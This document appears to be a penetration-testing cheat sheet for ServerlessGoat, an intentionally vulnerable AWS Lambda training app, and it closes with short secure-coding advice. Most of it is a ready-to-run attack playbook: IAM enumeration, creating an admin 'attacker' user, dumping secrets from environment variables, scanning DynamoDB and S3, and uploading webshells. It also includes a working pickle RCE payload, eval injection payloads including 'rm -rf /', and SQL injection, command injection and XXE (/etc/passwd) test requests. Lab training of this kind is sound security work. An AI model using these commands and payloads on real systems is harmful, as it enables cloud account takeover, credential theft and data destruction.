ServerlessGoat
ServerlessGoat is an intentionally vulnerable AWS Lambda application designed to teach secure serverless development. It demonstrates common AWS Lambda vulnerabilities including IAM misconfigurations, privilege escalation, insecure dependencies, secrets exposure, and improper access controls.
Installation and Setup
Prerequisites
# Install AWS CLI v2
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install
# Configure AWS credentials
aws configure
# Enter Access Key ID
# Enter Secret Access Key
# Enter default region (us-east-1)
# Install Terraform (for deployment)
wget https://releases.hashicorp.com/terraform/1.5.0/terraform_1.5.0_linux_amd64.zip
unzip terraform_1.5.0_linux_amd64.zip
sudo mv terraform /usr/local/bin/
Deploy ServerlessGoat
# Clone repository
git clone https://github.com/OWASP/serverless-goat.git
cd serverless-goat
# Install dependencies
npm install
# Deploy to AWS (requires valid credentials)
terraform init
terraform plan
terraform apply
# View deployed resources
aws lambda list-functions --region us-east-1
aws apigateway get-rest-apis
Local Testing
# Install SAM CLI
pip install aws-sam-cli
# Build and deploy locally
sam build
sam local start-api
# Access at http://localhost:3000
AWS IAM Enumeration
List IAM Permissions
# Get current user/role info
aws sts get-caller-identity
# List attached policies
aws iam list-attached-user-policies --user-name <username>
aws iam list-attached-role-policies --role-name <role-name>
# Get policy details
aws iam get-user-policy --user-name <username> --policy-name <policy>
aws iam get-role-policy --role-name <role-name> --policy-name <policy>
# List all users
aws iam list-users
# List all roles
aws iam list-roles
# List policies
aws iam list-policies
# Get inline policy document
aws iam get-user-policy --user-name <username> --policy-name <policy-name>
Extract Lambda Execution Role
# Get Lambda function details
aws lambda get-function --function-name serverless-goat-function
# Extract role ARN from response
# Typically: arn:aws:iam::ACCOUNT_ID:role/lambda-execution-role
# Get role policies
aws iam list-attached-role-policies --role-name lambda-execution-role
# Get inline policies
aws iam list-role-policies --role-name lambda-execution-role
# Read policy document
aws iam get-role-policy --role-name lambda-execution-role --policy-name policy-name
Lambda Privilege Escalation
Overly Permissive IAM Policies
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "iam:*",
"Resource": "*"
},
{
"Effect": "Allow",
"Action": "s3:*",
"Resource": "*"
},
{
"Effect": "Allow",
"Action": "dynamodb:*",
"Resource": "*"
}
]
}
Exploiting Overpermissive Policies
# If Lambda has iam:CreateAccessKey permission
aws iam create-access-key --user-name admin
# Create new admin user
aws iam create-user --user-name attacker
aws iam attach-user-policy --user-name attacker \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Create inline policy with admin rights
aws iam put-user-policy --user-name attacker \
--policy-name admin-policy \
--policy-document file://admin-policy.json
# Get/create access keys for new user
aws iam create-access-key --user-name attacker
Lambda Function Code Exploitation
# Get Lambda function code
aws lambda get-function --function-name vulnerable-function \
--query 'Code.Location' --output text
# Download and extract function code
wget <CodeLocation> -O function.zip
unzip function.zip
# Analyze code for secrets, API keys, credentials
grep -r "password\|secret\|key\|token" .
# Find environment variables
aws lambda get-function-configuration --function-name vulnerable-function
# List environment variables (may contain secrets)
aws lambda get-function-configuration --function-name vulnerable-function \
--query 'Environment.Variables'
Secrets Exposure in Environment Variables
Environment Variable Enumeration
# List function config
aws lambda get-function-configuration --function-name target-function
# Extract environment variables
aws lambda get-function-configuration --function-name target-function \
--query 'Environment.Variables' --output json
# Common secret names to look for
# DB_PASSWORD, API_KEY, SECRET_KEY, ADMIN_PASSWORD, TOKEN
# AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
# SLACK_TOKEN, GITHUB_TOKEN
Exploiting Exposed Credentials
# If environment contains database credentials
DB_HOST="database.example.com"
DB_USER="admin"
DB_PASSWORD="exposed_password"
# Connect to database
mysql -h $DB_HOST -u $DB_USER -p$DB_PASSWORD
# If API keys exposed
curl -H "Authorization: Bearer $EXPOSED_API_KEY" \
https://api.example.com/admin/users
# If AWS keys exposed
export AWS_ACCESS_KEY_ID=<exposed_key>
export AWS_SECRET_ACCESS_KEY=<exposed_secret>
aws sts get-caller-identity # Verify key validity
aws s3 ls # List accessible S3 buckets
Insecure Deserialization in Lambda
Python Pickle Deserialization
# Vulnerable code
import pickle
import base64
def vulnerable_handler(event, context):
# Attacker controls serialized_data
serialized_data = event['data']
data = pickle.loads(base64.b64decode(serialized_data))
return data
# Exploit payload using pickle
import os
import pickle
import base64
class RCE:
def __reduce__(self):
return (os.system, ('whoami > /tmp/pwned',))
payload = pickle.dumps(RCE())
encoded = base64.b64encode(payload).decode()
print(encoded)
Node.js Unsafe Deserialization
// Vulnerable code
const payload = JSON.parse(event.body);
const user = Object.assign({}, payload);
// If user object contains constructor properties, RCE possible
// Exploit
{
"constructor": {
"prototype": {
"isAdmin": true,
"command": "malicious_code"
}
}
}
DynamoDB/RDS Direct Access
DynamoDB Enumeration
# List tables
aws dynamodb list-tables
# Get table description
aws dynamodb describe-table --table-name Users
# Scan table (if permissions allow)
aws dynamodb scan --table-name Users
# Get items
aws dynamodb query --table-name Users \
--key-condition-expression "id = :id" \
--expression-attribute-values '{":id":{"S":"1"}}'
# Extract all data from table
aws dynamodb scan --table-name Users --output json > users.json
Exploiting DynamoDB Access
# If Lambda can read DynamoDB
aws dynamodb scan --table-name Secrets \
--filter-expression "attribute_exists(password)"
# Extract sensitive data
aws dynamodb query --table-name Users \
--key-condition-expression "email = :email" \
--expression-attribute-values '{":email":{"S":"admin@example.com"}}'
# Modify data (if write permissions exist)
aws dynamodb update-item --table-name Users \
--key '{"id":{"S":"1"}}' \
--attribute-updates '{"role":{"Value":{"S":"admin"},"Action":"PUT"}}'
S3 Bucket Exploitation
List and Access S3 Buckets
# List all accessible S3 buckets
aws s3 ls
# List objects in bucket
aws s3 ls s3://bucket-name/
# Download files
aws s3 cp s3://bucket-name/sensitive-file.txt ./
# List with full paths
aws s3api list-objects-v2 --bucket bucket-name --query 'Contents[].Key'
# Search for sensitive files
aws s3api list-objects-v2 --bucket bucket-name \
--query "Contents[?contains(Key, 'secret') || contains(Key, 'password')]"
Exploiting S3 Permissions
# If Lambda can write to S3
aws s3 cp malicious-code.zip s3://bucket-name/
# Upload webshell
aws s3 cp shell.php s3://bucket-name/uploads/
# Modify/delete data
aws s3 rm s3://bucket-name/critical-file.txt
# If bucket is public, access via HTTP
curl https://s3.amazonaws.com/bucket-name/file.txt
curl https://bucket-name.s3.amazonaws.com/file.txt
Lambda Invocation and Code Injection
Direct Lambda Invocation
# Invoke function synchronously
aws lambda invoke --function-name target-function \
--payload '{"action":"admin"}' \
response.json
# Invoke asynchronously
aws lambda invoke --function-name target-function \
--invocation-type Event \
--payload '{"data":"malicious"}' \
response.json
# Read response
cat response.json
Lambda Code Injection Payloads
# If Lambda processes user input unsafely
# Injection through event payload
# Python eval() exploitation
{
"command": "__import__('os').system('rm -rf /')"
}
# Node.js eval() exploitation
{
"code": "require('child_process').exec('whoami')"
}
# Expression injection
{
"expression": "1+1" -> eval() -> RCE
}
CloudWatch Logs Access
Extract Logs from Lambda
# List log groups
aws logs describe-log-groups
# List log streams
aws logs describe-log-streams --log-group-name /aws/lambda/function-name
# Get log events
aws logs get-log-events \
--log-group-name /aws/lambda/function-name \
--log-stream-name 2024/03/30/[$LATEST]abc123
# Search logs for secrets
aws logs filter-log-events \
--log-group-name /aws/lambda/function-name \
--filter-pattern "password OR secret OR token"
Testing with Burp Suite
Configure Burp for API Gateway
# 1. Get API Gateway endpoint
aws apigateway get-rest-apis --query 'items[].id'
# 2. Set up Burp proxy
# Burp > Proxy > Options > Proxy Listeners
# Set to localhost:8080
# 3. Configure browser proxy
# Point to localhost:8080
# 4. Navigate to API Gateway URL
# http://API_ID.execute-api.REGION.amazonaws.com/stage
# 5. Intercept requests
# Test for injection, auth bypass, etc.
Testing Lambda Endpoints
# Test for SQL injection in query parameters
curl "https://api.execute-api.region.amazonaws.com/dev/users?id=1' OR '1'='1"
# Test for command injection
curl "https://api.execute-api.region.amazonaws.com/dev/exec?cmd=whoami"
# Test for XXE
curl -X POST "https://api.execute-api.region.amazonaws.com/dev/upload" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'
# Test for privilege escalation
curl "https://api.execute-api.region.amazonaws.com/dev/admin" \
-H "Authorization: Bearer user_token"
Common Vulnerabilities to Test
| Vulnerability | Test Method | Impact |
|---|---|---|
| IAM Misconfiguration | Check role policies | Admin access |
| Environment Variable Secrets | Get function config | Credential theft |
| Overpermissive S3 Access | List/download S3 | Data exfiltration |
| SQL Injection | ’ OR ‘1’=‘1’ | Database compromise |
| Insecure Deserialization | Pickle gadgets | RCE |
| Privilege Escalation | Create admin user | Full account takeover |
| Hardcoded Credentials | Review code | Service compromise |
| Unencrypted Secrets | Read env vars | Credential theft |
Secure Lambda Practices
Least Privilege IAM Policy
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"dynamodb:Query",
"dynamodb:GetItem"
],
"Resource": "arn:aws:dynamodb:region:account:table/Users"
},
{
"Effect": "Allow",
"Action": [
"s3:GetObject"
],
"Resource": "arn:aws:s3:::bucket-name/allowed-prefix/*"
},
{
"Effect": "Allow",
"Action": [
"logs:CreateLogGroup",
"logs:CreateLogStream",
"logs:PutLogEvents"
],
"Resource": "arn:aws:logs:region:account:log-group:/aws/lambda/function-name:*"
}
]
}
Use AWS Secrets Manager
import boto3
import json
client = boto3.client('secretsmanager')
def get_secret(secret_name):
try:
response = client.get_secret_value(SecretId=secret_name)
return json.loads(response['SecretString'])
except Exception as e:
raise e
def lambda_handler(event, context):
# Don't use environment variables for secrets
credentials = get_secret('prod/db/credentials')
db_password = credentials['password']
# Use password
Input Validation
import json
from jsonschema import validate
SCHEMA = {
"type": "object",
"properties": {
"user_id": {"type": "integer"},
"action": {"type": "string", "enum": ["read", "write"]}
},
"required": ["user_id", "action"]
}
def lambda_handler(event, context):
try:
validate(instance=json.loads(event['body']), schema=SCHEMA)
except Exception as e:
return {"statusCode": 400, "body": "Invalid input"}
# Safe to process
Best Practices for Learning
- Understand IAM permission model thoroughly
- Test least privilege policies
- Never hardcode secrets in code or environment variables
- Use AWS Secrets Manager for sensitive data
- Validate all input from API Gateway
- Monitor CloudWatch logs for suspicious activity
- Test privilege escalation scenarios
- Document findings and remediation
- Practice in isolated AWS accounts
- Keep credentials in secure vaults
Resources
- OWASP ServerlessGoat GitHub
- AWS Lambda Security Best Practices
- AWS IAM Documentation
- OWASP Top 10
- PortSwigger Web Security Academy
- HackTheBox
- TryHackMe
Last updated: 2026-03-30